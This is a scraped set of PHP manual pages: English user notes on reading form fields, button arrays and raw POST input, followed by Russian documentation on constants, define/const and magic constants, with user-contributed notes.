   $_POST['delete_2'];   // "Delete" - button value
   $_POST['delete_2_x'];   // 23 - x coord
   $_POST['delete_2_y'];   // 3 - y coord
?>

In IE you only get

<?php
   $_POST['delete_2_x'];   // 23 - x coord
   $_POST['delete_2_y'];   // 3 - y coord
?>

So if you are checking for what button was clicked do something like this

<?php
   for ($i = 0; $i < count($_POST['entry']); $i++)
   {
      if (isset($_POST['delete_' . $i . '_x']))
      {
         // do delete
      }
   }
?>
krydprz at iit dot edu 03-May-2005 01:14
This post is with regards to handling forms that have more than one submit button.

Suppose we have an HTML form with a submit button specified like this:

<input type="submit" value="Delete" name="action_button">

Normally the 'value' attribute of the HTML 'input' tag (in this case "Delete") that creates the submit button can be accessed in PHP after post like this:

<?php
$_POST['action_button'];
?>

We of course use the 'name' of the button as an index into the $_POST array.

This works fine, except when we want to pass more information with the click of this particular button.

Imagine a scenario where you're dealing with user management in some administrative interface.  You are presented with a list of user names queried from a database and wish to add a "Delete" and "Modify" button next to each of the names in the list.  Naturally the 'value' of our buttons in the HTML form that we want to display will be "Delete" and "Modify" since that's what we want to appear on the buttons' faceplates.

Both buttons (Modify and Delete) will be named "action_button" since that's what we want to index the $_POST array with.  In other words, the 'name' of the buttons along cannot carry any uniquely identifying information if we want to process them systematically after submit. Since these buttons will exist for every user in the list, we need some further way to distinguish them, so that we know for which user one of the buttons has been pressed.

Using arrays is the way to go.  Assuming that we know the unique numerical identifier of each user, such as their primary key from the database, and we DON'T wish to protect that number from the public, we can make the 'action_button' into an array and use the user's unique numerical identifier as a key in this array.

Our HTML code to display the buttons will become:

<input type="submit" value="Delete" name="action_button[0000000002]">
<input type="submit" value="Modify" name="action_button[0000000002]">

The 0000000002 is of course the unique numerical identifier for this particular user.

Then when we handle this form in PHP we need to do the following to extract both the 'value' of the button ("Delete" or "Modify") and the unique numerical identifier of the user we wish to affect (0000000002 in this case). The following will print either "Modify" or "Delete", as well as the unique number of the user:

<?php
$submitted_array = array_keys($_POST['action_button']);
echo ($_POST['action_button'][$submitted_array[0]] . " " . $submitted_array[0]);
?>

$submitted_array[0] carries the 0000000002.
When we index that into the $_POST['action_button'], like we did above, we will extract the string that was used as 'value' in the HTML code 'input' tag that created this button.

If we wish to protect the unique numerical identifier, we must use some other uniquely identifying attribute of each user. Possibly that attribute should be encrypted when output into the form for greater security.

Enjoy!
tim at timpauly dot com 30-Apr-2005 06:57
This code module can be added to every form using require_once().
It will process any and all form data, prepending each variable with
a unique identifier (so you know which method was used to get the data).

My coding could be neater, but this sure makes processing forms much easier!

<?php
// -----------------------------------------------------------------
// Basic Data PHP module. This module captures all GET, POST
// and COOKIE data and processes it into variables.
// Coded April, 2005 by Timothy J. Pauly
// -----------------------------------------------------------------
//
// coo_ is prepended to each cookie variable
// get_ is prepended to each GET variable
// pos_ is prepended to each POST variable
// ses_ is prepended to each SESSION variable
// ser_ is prepended to each SERVER variable

session_start(); // initialize session data
$ArrayList = array("_POST", "_GET", "_SESSION", "_COOKIE", "_SERVER"); // create an array of the autoglobal arrays
// we want to process

foreach($ArrayList as $gblArray) // process each array in the array list
{
   $prefx = strtolower(substr($gblArray,1,3))."_"; // derive the prepend string
// from the autoglobal type name
   $tmpArray = $$gblArray;
   $keys = array_keys($tmpArray); // extract the keys from the array being processed
   foreach($keys as $key) // process each key
    {

    $arcnt = count($tmpArray[$key]);

    if ($arcnt > 1) // Break down passed arrays and
// process each element seperately
    {
      $lcount = 0;
      foreach ($tmpArray[$key] as $dval)
        {
           $prkey = $prefx.$key; // create a new key string
// with the prepend string added
           $prdata['$prkey'] = $dval; // this step could be eliminated
           ${$prkey}[$lcount] = $prdata['$prkey']; //create new key and insert the data
           $lcount++;
        }

        } else { // process passed single variables

                $prkey = $prefx.$key; // create a new key string
// with the prepend string added
                $prdata['$prkey'] = $tmpArray[$key]; // insert the data from
// the old array into the new one
                $$prkey = $prdata['$prkey']; // create the newly named
// (prepended) key pair using variable variables :-)

               }
    }
}

// -------------------------------------------------------------
?>
tmk-php at infeline dot org 08-Apr-2005 09:38
To handle forms with or without [] you can do something like this:

<?php
    function repairPost($data) {
        // combine rawpost and $_POST ($data) to rebuild broken arrays in $_POST
        $rawpost = "&".file_get_contents("php://input");
        while(list($key,$value)= each($data)) {
            $pos = preg_match_all("/&".$key."=([^&]*)/i",$rawpost, $regs, PREG_PATTERN_ORDER);
            if((!is_array($value)) && ($pos > 1)) {
                $qform[$key] = array();
                for($i = 0; $i < $pos; $i++) {
                    $qform[$key][$i] = urldecode($regs[1][$i]);
                }
            } else {
                $qform[$key] = $value;
            }
        }
        return $qform;
    }

    // --- MAIN

    $_POST = repairPost($_POST);
?>

The function will check every field in the $_POST with the raw post data and rebuild the arrays that got lost.
Murat TASARSU 02-Mar-2005 04:29
if you want your multiple select returned variable in comma seperated form you can use this. hope that helps. regards...

$myvariable
   Array ( [0] => one [1] => two [2] => three )
turns into
   one,two,three

<?php
$myvariable="";
$myseperator="";
foreach ( $_POST["myvariable"] as $v) {
if (!isset($nofirstcomma)) $nofirstcomma=0; else $myseperator=",";
$myvariable = $myvariable.$myseperator.$v;
}
echo $myvariable;
?>
jlratwil at yahoo dot com 01-Feb-2005 05:35
To get multiple selected (with "multiple" ) lists in <select> tag, make sure that the "name" attribute is added to braces, like this:

<select multiple="multiple" name="users[]">
     <option value="foo">Foo</option>
     <option value="bar">Bar</option>
</select>

When submitted to PHP file (assume that you have a complete form) it will return an array of strings. Otherwise, it will just return the last element of the <select> tag you selected.
mattij at nitro fi no at no dot no 05-Nov-2004 07:39
If you try to refer or pass HTML-form data which has arrays with javascript remember that you should point to that array like this

<script type="text/javascript">
    window.opener.document.forms[0]["to[where][we][point]"];
</script>
lennynyktyk at yahoo dot com 09-Jul-2004 02:42
When dealing with multiple select boxes and the name=some_name[] so that PHP will understand that is needs to interpet the input as an array an not as a single value. If you want to access this in Javascript you should assign an id attribute to the select box as well as the name attribute. Then proceed to use the id attribute in Javascript to reference the select box and the name attribute to reference the select box in PHP.
Example

<select multiple id="select_id" name="select_name[]">
....

</select>

<?PHP
    echo $select_name[0];
?>

<script language="javascript">
  document.forms[0].select_id.options[0].selected = true;
</script>

I hope you get the idea
arjini at mac dot com 26-Mar-2004 11:48
When dealing with form inputs named_like_this[5] and javascript, instead of trying to get PHP to do something fancy as mentioned below, just try this on the javascript side of things:

<form name="myForm">

<script>
my_fancy_input_name = 'array_of_things[1]';
/* now just refer to it like this in the dom tree

document[myForm][my_fancy_input_name].value

etc*/
</script>

<input type="text" name="array_of_things[1]" value="1"/>
</form>

No fancy PHP, in fact, you shouldn't need to change your PHP at all.
jim at jamesdavis dot it 22-Jan-2004 11:59
How to pass a numerically indexed array.
This is the part inside the form. Notice that the name is not 'english[$r]' which you would normally write, but 'english[]'. PHP adds the index when it receives the post and it starts at 0.

<?php

for ($r=0; $r <= count($english)-1; $r++){
         echo "<TEXTAREA NAME='english[]'>".$english[$r]."</TEXTAREA>";

}
?>
<?php

And this will get it out at the other end
function retrieve_english(){
    for ($r=0; $r <= count($_POST['english'])-1; $r++){
        echo $_POST['english'][$r]."<BR>";
    }
}
?>

Keys are useful but so are numerical indices!
Cheers everyone
darren at sullivan dot net 01-Dec-2003 08:37
This function is a simple solution for getting the array of selectes from a checkbox list or a dropdown list out of the Querry String. I took an example posted earlier and simplified it.

<?php
function multi_post_item($repeatedString) {
    // Gets the specified array of multiple selects and/or
    // checkboxes from the Query String
    $ArrayOfItems = array();
    $raw_input_items = split("&", $_SERVER["QUERY_STRING"]);
    foreach ($raw_input_items as $input_item) {
        $itemPair = split("=", $input_item);
        if ($itemPair[0] == $repeatedString) {
            $ArrayOfItems[] = $itemPair[1];
        }
    }
    return $ArrayOfItems;
}
?>

Use the name of the field as the agrument. Example:

<?php
$Order = $_GET['Order'];
$Name = $_GET['Name'];
$States = multi_post_item('States');
$Products = multi_post_item('Products');
?>

Be sure to check for NULL if there are no selections or boxes checked.
kevinrlat nospam dot ccs dot neu dot edu 07-Aug-2003 10:47
if you use an array of checkboxes to submit info to a database or what have you, be careful of the case when no boxes are checked.  for example:

<form method="post">
<input type="checkbox" name="checkstuff[]" value="0">
<input type="checkbox" name="checkstuff[]" value="1">
<input type="checkbox" name="checkstuff[]" value="2">

. . .

</form>

if these are submitted and none are checked, the $_POST['checkstuff'] variable will not contain an empty array, but a NULL value.  this bothered me when trying to implode() the values of my checkboxes to insert into a database, i got a warning saying the 2nd argument was the wrong type.

hope this helps!
-kevin
un shift at yahoo dot com 01-Apr-2003 10:07
This function takes a recurring form item from php://input and loads it into an array - useful for javascript/dom incompatibility with form_input_item[] names for checkboxes, multiple selects, etc.  The fread maxes out at 100k on this one.  I guess a more portable option would be pulling in ini_get('post_max_size') and converting it to an integer.

<?php
function multi_post_item($input_item_name) {
     $array_output = array();
     $in_handle = fopen("php://input", "r");
     $raw_input_items = split("&", urldecode(fread($in_handle, 100000)));
     foreach ($raw_input_items as $input_item) {
            // split this item into name/value pair
            $item = split("=", $input_item);
            // form item name
            $item_name = $item[0];
            // form item value
            $item_value = $item[1];
            if ($item_name == $input_item_name) {
                    $array_output[] = $item_value;
            }
     }
     return $array_output;
}
?>
vb at bertola dot eu dot org 19-Mar-2003 09:38
For what I understand, since PHP 4.3 it is possible to access the content of a POST request (or other methods as well) as an input stream named php://input, example:

readfile("php://input");
[to display it]

or

$fp = fopen("php://input", "r");
[to open it and then do whatever you want]

This is very useful to access the content of POST requests which actually have a content (and not just variable-value couples, which appear in $_POST).

This substitutes the old $HTTP_RAW_POST_DATA variable available in some of the previous 4.x versions. It is available for other upload methods different from POST too, but it is not available for POSTs with multipart/form-data content type, since the file upload handler has already taken care of the content in that case.
04-Mar-2003 07:21
"...the dot (period, full stop) is not a valid character in a PHP variable name."

That's not completely correct, consider this example:
$GLOBALS['foo.bar'] = 'baz';
echo ${'foo.bar'};
This will output baz as expected.
keli at kmdsz dot ro 03-Feb-2003 07:37
image type inputs apparently return their "value" argument from Mozilla, but not from IEXplorer... :(

example:

 <input type="image" name="sb" value="first" src="first.jpg">

using a mozilla will give you
  $sb="first" AND $sb_x, $sb_y ... whereas from IE there's just no $sb. :(

[this in short form, as I'm still using trackvars :) ]
hjncom at hjncom dot net 25-May-2002 03:34
I think '[' and ']' are valid characters for name attributes.

http://www.w3.org/TR/html401/interact/forms.html#h-17.4
-> InputType of 'name' attribute is 'CDATA'(not 'NAME' type)

http://www.w3.org/TR/html401/types.html#h-6.2
-> about CDATA('name' attribute is not 'NAME' type!)
...CDATA is a sequence of characters from the document character set and may include character entities...

http://www.w3.org/TR/html401/sgml/entities.html
--> about Character entity references in HTML 4
([ - &#91, ] - &#93)
a at b dot c dot de 03-Feb-2002 04:49
As far as whether or not "[]" in name attributes goes, The HTML4.01 specification only requires that it be a case-insensitive CDATA token, which can quite happily include "[]". Leading and trailing whitespace may be trimmed and shouldn't be used.

It is the id= attribute which is restricted, to a case-sensitive NAME token (not to be confused with a name= attribute).
carl_steinhilber at NOSPAMmentor dot com 30-Jan-2002 02:19
A group of identically-named checkbox form elements returning an array is a pretty standard feature of HTML forms. It would seem that, if the only way to get it to work is a non-HTML-standard-compliant workaround, it's a problem with PHP.

Since the array is passed in the header in a post, or the URL in a get, it's the PHP interpretation of those values that's failing.
yasuo_ohgaki at hotmail dot com 11-Mar-2001 04:02
Important:  Pay attention to the following security concerns when handling user submitted  data :

http://www.php.net/manual/en/security.registerglobals.php
http://www.php.net/manual/en/security.variables.php


Константы

Содержание

  • Синтаксис
  • Предопределённые константы
  • Магические константы

Константа - это идентификатор (имя) для простого значения. Как следует из названия, это значение не может измениться в ходе выполнения скрипта (кроме магических констант, которые на самом деле не являются константами). Константы чувствительны к регистру. По принятому соглашению, имена констант всегда пишутся в верхнем регистре.

Замечание:

До PHP 8.0.0 константы, определённые с помощью функции define(), могли быть нечувствительными к регистру.

Имя константы должно соответствовать тем же правилам именования, что и другие имена в PHP. Правильное имя начинается с буквы или символа подчёркивания, за которым следует любое количество букв, цифр и символов подчёркивания. Регулярное выражение для проверки правильности имени константы выглядит так: ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$

Возможно определить константы с помощью функции define() зарезервированными или даже некорректными именами, значения которых могут быть получены только с помощью constant(). Однако, делать это не рекомендуется.

Подсказка

Смотрите также Руководство по именованию.

Пример #1 Правильные и неправильные имена констант

<?php

// Правильные имена констант
define("FOO", "что-то");
define("FOO2", "что-то ещё");
define("FOO_BAR", "что-то большее");

// Неправильные имена констант
define("2FOO", "что-то");

// Это верное объявление, но лучше его не использовать:
// PHP однажды может зарегистрировать волшебную константу,
// которая нарушит работу скрипта
define("__FOO__", "что-то");

?>

Замечание: Понятие "буквы" здесь - это символы a-z, A-Z, и другие символы с ASCII-кодами от 128 до 255 (0x80-0xff).

Как и superglobals, константы доступны из любой области видимости. Константы можно использовать из любого места скрипта независимо от области видимости. Подробную информацию об областях видимости можно найти здесь.

Замечание: Начиная с PHP 7.1.0, константе класса можно объявлять видимость защищённая или закрытая, делая её доступной только в иерархической области видимости класса, в котором она определена.

User Contributed Notes

mparsa1372 at gmail dot com 11-Mar-2021 05:51
<?php
//Syntax of define constant in php
//define(name, value, case-insensitive);

//it will print 100 in output
define('BOOK',100);
echo BOOK;

//it will print 200 in output
define('book', 200 , true);
echo book;

//results of all are the same
echo '<br>';
echo BOOK;
echo '<br>';
echo book;
warwick dot jm dot barnes at gmail dot com 16-Jun-2020 07:49
The documentation says, "You can access constants anywhere in your script without regard to scope", but it's worth keeping in mind that a const declaration must appear in the source file before the place where it's used.

This doesn't work (using PHP 5.4):
<?php
foo();
const X = 1;
function foo() {
    echo "Value of X: " . X;
}
?>
Result: "Value of X: X"

But this works:
<?php
const X = 1;
foo();
function foo() {
    echo "Value of X: " . X;
}
?>
Result: "Value of X: 1"

This is potentially confusing because you can refer to a function that occurs later in your source file, but not a constant. Even though the const declaration is processed at compile time, it behaves a bit like it's being processed at run time.
Sumon Mahmud (Abu Taleb) 01-Feb-2020 02:21
define('MYKEY', 'The value is from outside of class');
class Abc{

    const MAX = 10;

    public function __construct(){
        define('TEST', 'hello world! '); // using define function in class constructor
    }
    public function getOutput(){
        echo TEST . MYKEY . PHP_EOL; // accessing constants from outside of class
    }
}

$obj = new Abc();  // define function will call
$obj->getOutput(); // hello world! The value is from outside of class

echo Abc::MAX . PHP_EOL; // 10 - accessing constant using scope resolution

echo TEST; // hello world!  Because the constants is defined while constructor call
jcastromail at yahoo dot es 07-Oct-2017 12:13
Performance of constants.  PHP 7.1.10 32 bits (Opcache active, windows 10 i7-64bits) but apparently the trends is the same with the 5.x

using a constant declared by DEFINE('CNS',value) : 0.63575601577759s
using a constant declared by const CNS=value : 0.61372208595276s
using a variable declared by $v=value : 0.51184010505676s

In average, the use of DEFINE and CONST is around the same with some sightly  better performance of CONST instead of DEFINE. However, using a variable is around 10-50% better than to use a constant.  So, for a performance intensive task, constant is not the best option.

$p1=microtime(true);
$x=0;
for($i=0;$i<50000000;$i++) {
    $x+=CNS;
}
$p2=microtime(true);
gried at NOSPAM dot nsys dot by 17-Jan-2016 07:12
Lets expand comment of 'storm' about usage of undefined constants. His claim that 'An undefined constant evaluates as true...' is wrong and right at same time. As said further in documentation ' If you use an undefined constant, PHP assumes that you mean the name of the constant itself, just as if you called it as a string...'. So yeah, undefined global constant when accessed directly will be resolved as string equal to name of sought constant (as thought PHP supposes that programmer had forgot apostrophes and autofixes it) and non-zero non-empty string converts to True.

There are two ways to prevent this:
1. always use function constant('CONST_NAME') to get constant value (BTW it also works for class constants - constant('CLASS_NAME::CONST_NAME') );
2. use only class constants (that are defined inside of class using keyword const) because they are not converted to string when not found but throw exception instead (Fatal error: Undefined class constant).
Raheel Khan 22-Feb-2015 08:39
class constant are by default public in nature but they cannot be assigned visibility factor and in turn gives syntax error

<?php

class constants {

    const MAX_VALUE = 10;
        public const MIN_VALUE =1;

}

// This will work
echo constants::MAX_VALUE;

// This will return syntax error
echo constants::MIN_VALUE;
?>
php at webflips dot net 02-Apr-2014 08:03
It is perfectly valid to use a built-in PHP keyword as a constant name - as long as you the constant() function to retrieve it later:

<?php
define('echo', 'My constant value');

echo constant('echo'); // outputs 'My constant value'
?>
wbcarts at juno dot com 20-May-2012 03:04
11/14/2016 - note updated by sobak
-----

CONSTANTS and PHP Class Definitions

Using "define('MY_VAR', 'default value')" INSIDE a class definition does not work as expected. You have to use the PHP keyword 'const' and initialize it with a scalar value -- boolean, int, float, string (or array in PHP 5.6+) -- right away.

<?php

define('MIN_VALUE', '0.0');   // RIGHT - Works OUTSIDE of a class definition.
define('MAX_VALUE', '1.0');   // RIGHT - Works OUTSIDE of a class definition.

//const MIN_VALUE = 0.0;         RIGHT - Works both INSIDE and OUTSIDE of a class definition.
//const MAX_VALUE = 1.0;         RIGHT - Works both INSIDE and OUTSIDE of a class definition.

class Constants
{
  //define('MIN_VALUE', '0.0');  WRONG - Works OUTSIDE of a class definition.
  //define('MAX_VALUE', '1.0');  WRONG - Works OUTSIDE of a class definition.

  const MIN_VALUE = 0.0;      // RIGHT - Works INSIDE of a class definition.
  const MAX_VALUE = 1.0;      // RIGHT - Works INSIDE of a class definition.

  public static function getMinValue()
  {
    return self::MIN_VALUE;
  }

  public static function getMaxValue()
  {
    return self::MAX_VALUE;
  }
}

?>

#Example 1:
You can access these constants DIRECTLY like so:
 * type the class name exactly.
 * type two (2) colons.
 * type the const name exactly.

#Example 2:
Because our class definition provides two (2) static functions, you can also access them like so:
 * type the class name exactly.
 * type two (2) colons.
 * type the function name exactly (with the parentheses).

<?php

#Example 1:
$min = Constants::MIN_VALUE;
$max = Constants::MAX_VALUE;

#Example 2:
$min = Constants::getMinValue();
$max = Constants::getMaxValue();

?>

Once class constants are declared AND initialized, they cannot be set to different values -- that is why there are no setMinValue() and setMaxValue() functions in the class definition -- which means they are READ-ONLY and STATIC (shared by all instances of the class).
Andreas R. 30-Apr-2007 07:19
If you are looking for predefined constants like
* PHP_OS (to show the operating system, PHP was compiled for; php_uname('s') might be more suitable),
* DIRECTORY_SEPARATOR ("\\" on Win, '/' Linux,...)
* PATH_SEPARATOR (';' on Win, ':' on Linux,...)
they are buried in 'Predefined Constants' under 'List of Reserved Words' in the appendix:
http://www.php.net/manual/en/reserved.constants.php
while the latter two are also mentioned in 'Directory Functions'
http://www.php.net/manual/en/ref.dir.php
hafenator2000 at yahoo dot com 21-Apr-2005 02:09
PHP Modules also define constants.  Make sure to avoid constant name collisions.  There are two ways to do this that I can think of.
First: in your code make sure that the constant name is not already used.  ex. <?php if (! defined("CONSTANT_NAME")) { Define("CONSTANT_NAME","Some Value"); } ?>  This can get messy when you start thinking about collision handling, and the implications of this.
Second: Use some off prepend to all your constant names without exception  ex. <?php Define("SITE_CONSTANT_NAME","Some Value"); ?>

Perhaps the developers or documentation maintainers could recommend a good prepend and ask module writers to avoid that prepend in modules.
storm 18-Apr-2005 09:54
An undefined constant evaluates as true when not used correctly. Say for example you had something like this:

settings.php
<?php
// Debug mode
define('DEBUG',false);
?>

test.php
<?php
include('settings.php');

if (DEBUG) {
   // echo some sensitive data.
}
?>

If for some reason settings.php doesn't get included and the DEBUG constant is not set, PHP will STILL print the sensitive data. The solution is to evaluate it. Like so:

settings.php
<?php
// Debug mode
define('DEBUG',0);
?>

test.php
<?php
include('settings.php');

if (DEBUG == 1) {
   // echo some sensitive data.
}
?>

Now it works correctly.
ewspencer at industrex dot com 18-Aug-2003 06:30
I find using the concatenation operator helps disambiguate value assignments with constants. For example, setting constants in a global configuration file:

<?php
define('LOCATOR',   "/locator");
define('CLASSES',   LOCATOR."/code/classes");
define('FUNCTIONS', LOCATOR."/code/functions");
define('USERDIR',   LOCATOR."/user");
?>

Later, I can use the same convention when invoking a constant's value for static constructs such as require() calls:

<?php
require_once(FUNCTIONS."/database.fnc");
require_once(FUNCTIONS."/randchar.fnc");
?>

as well as dynamic constructs, typical of value assignment to variables:

<?php
$userid  = randchar(8,'anc','u');
$usermap = USERDIR."/".$userid.".png";
?>

The above convention works for me, and helps produce self-documenting code.

-- Erich
katana at katana-inc dot com 25-Feb-2002 11:53
Warning, constants used within the heredoc syntax (http://www.php.net/manual/en/language.types.string.php) are not interpreted!

Editor's Note: This is true. PHP has no way of recognizing the constant from any other string of characters within the heredoc block.


Синтаксис

Константа может быть определена с помощью ключевого слова const или с помощью функции define(). В то время как define() позволяет задать константу через выражение, конструкция const ограничена как описано в следующем параграфе. После того, как константа определена, её значение не может быть изменено или аннулировано.

При использовании ключевого слова const допускаются только скалярные выражения (bool, int, float и string) и константы array, содержащие только скалярные выражения. Можно определить константы с типом resource, но не рекомендуется, так как это может привести к неожиданным результатам.

Получить значение константы можно, указав её имя. В отличие от переменных, вам не нужно предварять имя константы символом $. Также можно использовать функцию constant() для получения значения константы, если вы формируете имя константы динамически. Используйте функцию get_defined_constants() для получения списка всех определённых констант.

Замечание: Константы и (глобальные) переменные находятся в разных пространствах имён. Это означает, что, например, true и $TRUE в целом отличаются.

Если используется неопределённая константа, выбрасывается Error. До PHP 8.0.0 неопределённые константы интерпретировались как простое слово string, то есть (CONSTANT vs "CONSTANT"). Этот резервный вариант объявлен устаревшим с PHP 7.2.0, при этом будет сгенерирована ошибка уровня E_WARNING. До PHP 7.2.0 вместо этого выдавалась ошибка уровня E_NOTICE. Смотрите также главу руководства, которая разъясняет, почему $foo[bar] - это неправильно (если bar не является константой). Это не относится к (полностью) определённым константам, которые всегда будут выбрасывать Error, если они не определены.

Замечание: Чтобы проверить, установлена ли константа, используйте функцию defined().

Различия между константами и переменными:

  • У констант нет приставки в виде знака доллара ($);
  • Константы могут быть определены и доступны в любом месте без учёта области видимости;
  • Константы не могут быть переопределены или удалены после первоначального объявления; и
  • Константы могут иметь только скалярные значения или массивы.

Пример #1 Определение констант

<?php
define("CONSTANT", "Здравствуй, мир.");
echo CONSTANT; // выводит "Здравствуй, мир."
echo Constant; // Выбросит ошибку: Неопределённая константа "Constant"
// До PHP 8.0.0 выводит "Constant" и выдаёт предупреждение.
?>

Пример #2 Определение констант с помощью ключевого слова const

<?php
// Простое скалярное значение
const CONSTANT = 'Здравствуй, мир.';

echo CONSTANT;

// Скалярное выражение
const ANOTHER_CONST = CONSTANT . ' Прощай, мир.';
echo ANOTHER_CONST;

const ANIMALS = array('dog', 'cat', 'bird');
echo ANIMALS[1]; // выводит "cat"

// Массивы в константе
define('ANIMALS', array(
'dog',
'cat',
'bird'
));
echo ANIMALS[1]; // выводит "cat"
?>

Замечание:

В отличие от определения констант с помощью функции define(), константы, объявленные с помощью ключевого слова const должны быть объявлены в самой верхней области видимости, потому что они определяются при компилировании скрипта. Это означает, что их нельзя объявлять внутри функций, циклов, выражений if и блоков try/ catch.

Смотрите также

  • Константы классов

User Contributed Notes

souzanicolas87 at gmail dot com 29-Dec-2021 12:17
the documentation doesn't go too far in explaining the crucial difference between the two ways of declaring constants in PHP.

Const is handled at compile time, define() at run time. For this reason, a constant cannot be conditionally defined using Const, for example.

Another difference we can notice occurs in the constant declarations in classes. Const infiltrates the class scope, while define() leaks into the global scope.

<?php

Class Myclass (){
    const NAME = "Nicolas";
}

?>

The NAME constant is within the scope of the MyClass class.
LilyWhite 29-Sep-2021 05:39
> Constants and (global) variables are in a different namespace. This implies that for example true and $TRUE are generally different.

This means that you may assign a value to a variable with the same name of a constant, which might lead to unwanted results.

<?php
const FOO = "hello";
$FOO = "goodbye";
echo $FOO;
?>

will output ``goodbye''.
halfhearted13 at gmail dot com 17-Aug-2020 12:08
Constants of constant :

<?php

const foo = hello;
const bar = foo;
const bd = bar;

echo "bd = " .bd;   // Prints out: Hello

?>
privat at ulrich-kapp dot de 20-Jan-2020 08:33
const ArrayFromTextfile = file("mytextfile.txt", FILE_IGNORE_NEW_LINES);

does not work, it throws an error:
Fatal error: Constant expression contains invalid operations in php shell code on line ...

Instead use:

define ("ArrayFromTextfile", file("mytextfile.txt", FILE_IGNORE_NEW_LINES));

print_r(ArrayFromTextfile);

Result:
Array
(
    [0] ? Line 1
    [1] ? Line 2
    [2] ? Line 3
    [3] => ...
)
mh at hanft dot de 24-Jun-2019 09:49
With PHP 5.6, multi-dimensional arrays are also possible if you use "const" instead of "define". So,

define('QUARTLIST',array('1. Quarter'=>array('jan','feb','mar'),'2.Quarter'=>array('may','jun','jul')));

won't work with PHP 5.6, but

const QUARTLIST=array('1. Quarter'=>array('jan','feb','mar'),'2.Quarter'=>array('may','jun','jul'));

will.
login at (two)view dot de 04-Sep-2017 11:16
Just a quick note:
From PHP7 on you can even define a multidimensional Array as Constant:

define('QUARTLIST',array('1. Quarter'=>array('jan','feb','mar'),'2.Quarter'=>array('may','jun','jul'));

does work as expected.


Предопределённые константы

PHP предоставляет большой список предопределённых констант для каждого выполняемого скрипта. Многие из этих констант определяются различными модулями и будут присутствовать только в том случае, если эти модули доступны в результате динамической загрузки или в результате статической сборки.

User Contributed Notes

public at taliesinnuin dot net 06-Jul-2020 03:40
If you're using PHP with fpm (common in this day and age), be aware that __DIR__ and __FILE__ will return values based on the fpm root which MAY differ from its actual location on the file system.

This can cause temporary head-scratching if deploying an app where php files within the web root pull in PHP files from outside of itself (a very common case). You may be wondering why __DIR__ returns "/" when the file itself lives in /var/www/html or whathaveyou.

You might handle such a situation by having NGINX explicitly add the necessary part of the path in its fastcgi request and then you can set the root on the FPM process / server / container to be something other than the webroot (so long as no other way it could become publicly accessible).

Hope that saves someone five minutes who's moving code to FPM that uses __DIR__.
Sbastien Fauvel 15-Apr-2016 01:27
Note a small inconsistency when using __CLASS__ and __METHOD__ in traits (stand php 7.0.4): While __CLASS__ is working as advertized and returns dynamically the name of the class the trait is being used in, __METHOD__ will actually prepend the trait name instead of the class name!
php at kenman dot net 28-Mar-2014 06:45
Just learned an interesting tidbit regarding __FILE__ and the newer __DIR__ with respect to code run from a network share: the constants will return the *share* path when executed from the context of the share.

Examples:

// normal context
// called as "php -f c:\test.php"
 __DIR__ === 'c:\';
__FILE__ === 'c:\test.php';

// network share context
// called as "php -f \\computerName\c$\test.php"
 __DIR__ === '\\computerName\c$';
__FILE__ === '\\computerName\c$\test.php';

NOTE: realpath('.') always seems to return an actual filesystem path regardless of the execution context.
meindertjan at gmail dot spamspamspam dot com 16-Feb-2014 12:54
A lot of notes here concern defining the __DIR__ magic constant for PHP versions not supporting the feature. Of course you can define this magic constant for PHP versions not yet having this constant, but it will defeat its purpose as soon as you are using the constant in an included file, which may be in a different directory then the file defining the __DIR__ constant. As such, the constant has lost its *magic*, and would be rather useless unless you assure yourself to have all of your includes in the same directory.

Concluding: eye catchup at gmail dot com's note regarding whether you can or cannot define magic constants is valid, but stating that defining __DIR__ is not useless, is not!
david at thegallagher dot net 22-Feb-2012 01:19
You cannot check if a magic constant is defined. This means there is no point in checking if __DIR__ is defined then defining it. `defined('__DIR__')` always returns false. Defining __DIR__ will silently fail in PHP 5.3+. This could cause compatibility issues if your script includes other scripts.

Here is proof:

<?php
echo (defined('__DIR__') ? '__DIR__ is defined' : '__DIR__ is NOT defined' . PHP_EOL);
echo (defined('__FILE__') ? '__FILE__ is defined' : '__FILE__ is NOT defined' . PHP_EOL);
echo (defined('PHP_VERSION') ? 'PHP_VERSION is defined' : 'PHP_VERSION is NOT defined') . PHP_EOL;
echo 'PHP Version: ' . PHP_VERSION . PHP_EOL;
?>

Output:
__DIR__ is NOT defined
__FILE__ is NOT defined
PHP_VERSION is defined
PHP Version: 5.3.6
chris dot kistner at gmail dot com 20-Apr-2011 05:16
There is no way to implement a backwards compatible __DIR__ in versions prior to 5.3.0.

The only thing that you can do is to perform a recursive search and replace to dirname(__FILE__):
find . -type f -print0 | xargs -0 sed -i 's/__DIR__/dirname(__FILE__)/'
Tomek Perlak [tomekperlak at tlen pl] 10-Nov-2006 02:16
The __CLASS__ magic constant nicely complements the get_class() function.

Sometimes you need to know both:
- name of the inherited class
- name of the class actually executed

Here's an example that shows the possible solution:

<?php

class base_class
{
    function say_a()
    {
        echo "'a' - said the " . __CLASS__ . "<br/>";
    }

    function say_b()
    {
        echo "'b' - said the " . get_class($this) . "<br/>";
    }

}

class derived_class extends base_class
{
    function say_a()
    {
        parent::say_a();
        echo "'a' - said the " . __CLASS__ . "<br/>";
    }

    function say_b()
    {
        parent::say_b();
        echo "'b' - said the " . get_class($this) . "<br/>";
    }
}

$obj_b = new derived_class();

$obj_b->say_a();
echo "<br/>";
$obj_b->say_b();

?>

The output should look roughly like this:

'a' - said the base_class
'a' - said the derived_class

'b' - said the derived_class
'b' - said the derived_class
vijaykoul_007 at rediffmail dot com 21-Sep-2005 09:59
the difference between
__FUNCTION__ and __METHOD__ as in PHP 5.0.4 is that

__FUNCTION__ returns only the name of the function

while as __METHOD__ returns the name of the class alongwith the name of the function

class trick
{
      function doit()
      {
                echo __FUNCTION__;
      }
      function doitagain()
      {
                echo __METHOD__;
      }
}
$obj=new trick();
$obj->doit();
output will be ----  doit
$obj->doitagain();
output will be ----- trick::doitagain


Магические константы

Есть девять магических констант, которые меняют своё значение в зависимости от контекста, в котором они используются. Например, значение __LINE__ зависит от строки в скрипте, на которой эта константа указана. Все магические константы разрешаются во время компиляции, в отличие от обычных констант, которые разрешаются во время выполнения. Специальные константы нечувствительны к регистру и их список приведён ниже:

Магические константы PHP
Имя | Описание
__LINE__ | Текущий номер строки в файле.
__FILE__ | Полный путь и имя текущего файла с развёрнутыми симлинками. Если используется внутри подключаемого файла, то возвращается имя данного файла.
__DIR__ | Директория файла. Если используется внутри подключаемого файла, то возвращается директория этого файла. Это эквивалентно вызову dirname(__FILE__). Возвращаемое имя директории не оканчивается на слеш, за исключением корневой директории.
__FUNCTION__ | Имя функции или {closure} в случае анонимной функции.
